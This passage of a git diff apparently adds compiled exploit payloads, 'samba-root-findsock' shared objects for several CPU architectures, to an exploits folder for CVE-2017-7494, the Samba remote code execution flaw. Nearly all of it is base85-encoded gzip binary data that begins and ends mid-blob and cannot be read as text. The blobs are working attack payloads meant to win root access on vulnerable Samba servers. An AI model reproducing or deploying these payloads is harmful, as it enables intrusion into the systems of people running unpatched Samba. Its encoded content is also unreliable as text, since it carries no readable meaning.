z*3dJdp}s^qrH8a|LZ`gS95phnp#m)t|16MCO{pVHt}mfwvwD_fwPaW`EvdhMLRj88V?8*>vP^N=xb_tEZwQnw#80^l3dZg~njwk;7^v zc32(P;tAV>iJX>+64MN|$c!c8;fRt=D;*>eZA-*cxoM=HAgUhK3=LF-vsvm8zK_l^ zDVT%VXBek65Zv9{r*2UKED}UBx<&J!MN<$e{-dYKT^5rVSB>%b8q~3i1u*h&Gd?Nt z#S$O){|4kU9F!>z0B(X!-ia6vgzbnSUb+#(cHD`$4&n>(TF?Xd0g#sw!-3F<7~;=^ z7~*IXVmt>CL-@2Ht|g=u@oGXgBZisz5yRQ!?ryvOC?W5;k6l=H<=YCb{A^)u{#4$5 z>tZ2M3zPrNsYUtClZ%Nv=L=Rp%JmO%{Sem=a{ZlLe>>L?aQ)3(zXke@{@FsKceWt; zPvu4LOV{8uUHVATC%juM-pH>KNH_WpWCDcB5OOLn`MmT)8{bes~*rJ z`ccQIsbhW7w@?Rba|3)Ebm5uNDbE%@RgUF>z!h;7HvNP^Od_V zEWZZ)%QXTy>xOS5#^zw#b@$ol7en(yi!D8~1y}c}ytf_aaQYhYzf_R@s|$_obWX$2 zC;qvmAYd8r7~p@QEm&u#f6t;Q&n-L#Ymms?!X&KcD6VPS+)@bS;2U~l%)4iC5ac9~ z3z3b5BftlJ3ph_W6PwQk4lan$hY)V=l=m#6E!2my2Fl8`ucBVoKLmY|^$$RQ*uSwb zjAPk6K81X+O$gedI0Q0+zi$!eg?+UDPONMr=Z*6sjZ?)g27 z@`($}QSje(j3L-AEx6yok1p`z4z?!LLqHDq8tyY+IG*xlV|Xk)S{xnfJ<~RG-EaRttrPOO`D*JsK<|u*G5@S%_lY&^-tZvHEjP0JWHZY# zH!=DjcZ+F{K<~sJiQXY&KtoDMh5@f;Ijdw|IOv^tnB6V$K8HDKYZdM1UGxrx`OSI& zytdpe7SnU^ya*V_-U1v08gh-a^k1ymQ(wLb9z&4?MK@?6n{VoJWii`xA@yT{2l%-((@SJGj%N-C&EL}t=bwQ)skCS zC9HEb3QfWW$s;@{G>a8&-!9cJ=z2VYMN|1$iKgE1NEYp)e3wPj1AUeS@hb{J%-ZtR9}gfSJV#p_bQo@ zLt~86>r3y7(v2n_F40Xkze?s!nWs0{Y6mXzL2-;*A4c{;juwH&jB7K;ALIN*z+YpW zKX9iVuAu*zLw=c)f88Pf7UvHE{DJZT&i+-7w&pkKnBOsu{wqgY@|QS%jPob%U>rZs z@o#dpHNK^$%&%g#33}gcGWl|8U&^FWDANMaW9+Q5#y=^PX-offjeUM~C4Kc|Kq%7! z&@t})6Ryf;uBB6F;;uw^`Cd!{dbw8o$n{c#W#WYJ|dK90q7X_{_q6+vS5Fo z#G&u&LfQWU`2Q859RC9Fzt7cvkbh1n?+1a!SNUA4HSM3~XykvBqkk{hYjewjz4ql2 z?X{+LqPwVW@?~X%XgJkD_RI=ClJ|@{~cYTt5Jn`kS8DAnE_Dw`0ZIMhmoAqg# zBrRFBO{8-84e@RDDN6bON|u2i*5Mw?Ofl#!Vs;~6cftI=FCIRisDidG$YQL{AIhV{laP!q*kqdDDO zBRxa?YX9DyX0Z<^Z}mY&jcKVU7CUzy*xNI-yAPg*hWadtf#AO0o}jvK*RIk2kQ(ag z4fd;!x@dQIxn}qu>#U9fq@%jYtD!Yin_^bbq}5zo@zP#4oE+vUua#ozqv%a6vDEFj84&g6U z*QE9QIgo3ups#_8No+N6@xER`&U$B7dsU{6YG!-K+Hb2I`d)?W&Zx9f-@gIdZyv)a G9{>O^kascw literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-armhf.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-armhf.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..ebc4e4eb121a3e3635abf4a6367b9596d6cc1614 GIT binary patch literal 2737 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 UPMQGXYhL#M2?FEjC-^b|0CGDc1poj5 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-mips64el.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-mips64el.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..f6acf64f3b21f66b69c90906b60711ae26244140 GIT binary patch literal 3048 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-mipsel.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-mipsel.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..52f21b7e4b3966eaf918b3678d3de94348860599 GIT binary patch literal 2894 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-powerpc.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-powerpc.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..0463cfbd958e387481b0bea90b78ba6e866dda71 GIT binary patch literal 3266 zcmd7T2SXAF!vNr`uDZ^w^VG}`y@q?>Hh1q;nx=Rr?#zi>DN#^Vc&|=#pys)9fSN0D zaN>GhQ07P=$$==MytzkU4is|mec!+MojY?clKJ zAUG^ALi;HU35|Igr~`-nz$=Q1lo^&E4mlVd8cJ21{6n*nr|dzn`*J(&?$;mt{dWW2 zos+}bKbnLlcTT%=GZTAkb3VRg7&)I-mb@_X((S^Zx9*2QYG8!Pd(_gB%lEPf)lm?_ zn~$!K&dL&gO@SD`AzST|R{Lo3QuV$X$CyxyU2Z}!J_KJp2N*Kmi=2$jD)`o-^8MlE zaFzP#K(Axd?cS`jp4t&m6H@TZR?V|MtwtNcXKsC~gG)--F=YSqt{0PN;1&rj(ZJ%I zYYH=b3uyT9HyLZ0rkKNP4VRRZDo%j1C*Dx0MI+bUxbMbMvx8P5zon(JkYN;B_okycH<^-b7RKB>SVzjU}me7ur)Zv6|YU=Wqq+)>|